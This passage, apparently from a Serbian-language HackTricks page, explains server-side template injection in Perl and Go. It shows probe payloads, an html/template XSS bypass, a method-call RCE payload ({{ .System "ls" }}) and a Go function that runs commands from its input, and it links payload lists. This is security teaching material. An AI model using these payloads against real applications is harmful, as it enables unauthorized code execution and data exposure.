Čak i ako je u pitanju perl, koristi oznake poput ERB u Ruby-ju.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Greška
<%= perl code %>
<% perl code %>

SSTI u GO-u

U Go-ovom sistem za šablone, potvrda o njegovom korišćenju može se uraditi sa specifičnim payload-ima:

  • {{ . }}: Otkriva strukturu unosa podataka. Na primer, ako se prosledi objekat sa atributom Password, {{ .Password }} bi mogao da ga otkrije.
  • {{printf "%s" "ssti" }}: Očekuje se da prikaže string "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: Ovi payload-i trebalo bi da vrate "ssti" bez dodavanja "html" ili "js". Dodatne direktive mogu se istražiti u Go dokumentaciji ovde.

Eksploatacija XSS-a

Sa paketom text/template, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template enkodira odgovor da bi sprečio ovo (npr., {{"<script>alert(1)</script>"}} rezultira sa &lt;script&gt;alert(1)&lt;/script&gt;). Ipak, definisanje šablona i pozivanje u Go-u može zaobići ovaj enkodiranje: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Eksploatacija RCE-a

Eksploatacija RCE-a značajno se razlikuje između html/template i text/template. Modul text/template omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost "call"), što nije dozvoljeno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.

Za RCE putem SSTI u Go-u, mogu se pozvati metodi objekta. Na primer, ako obezbeđeni objekat ima System metod koji izvršava komande, može se eksploatisati kao {{ .System "ls" }}. Pristup izvornom kodu obično je neophodan da bi se iskoristilo ovo, kao u datom primeru:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Više informacija

Više eksploatacija

Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima na https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Povezana pomoć

Ako mislite da bi moglo biti korisno, pročitajte:

Alati

Lista za detekciju Brute-Force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Vežba i Reference

RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrela tačka susreta tehnoloških i stručnjaka za kibernetičku bezbednost u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: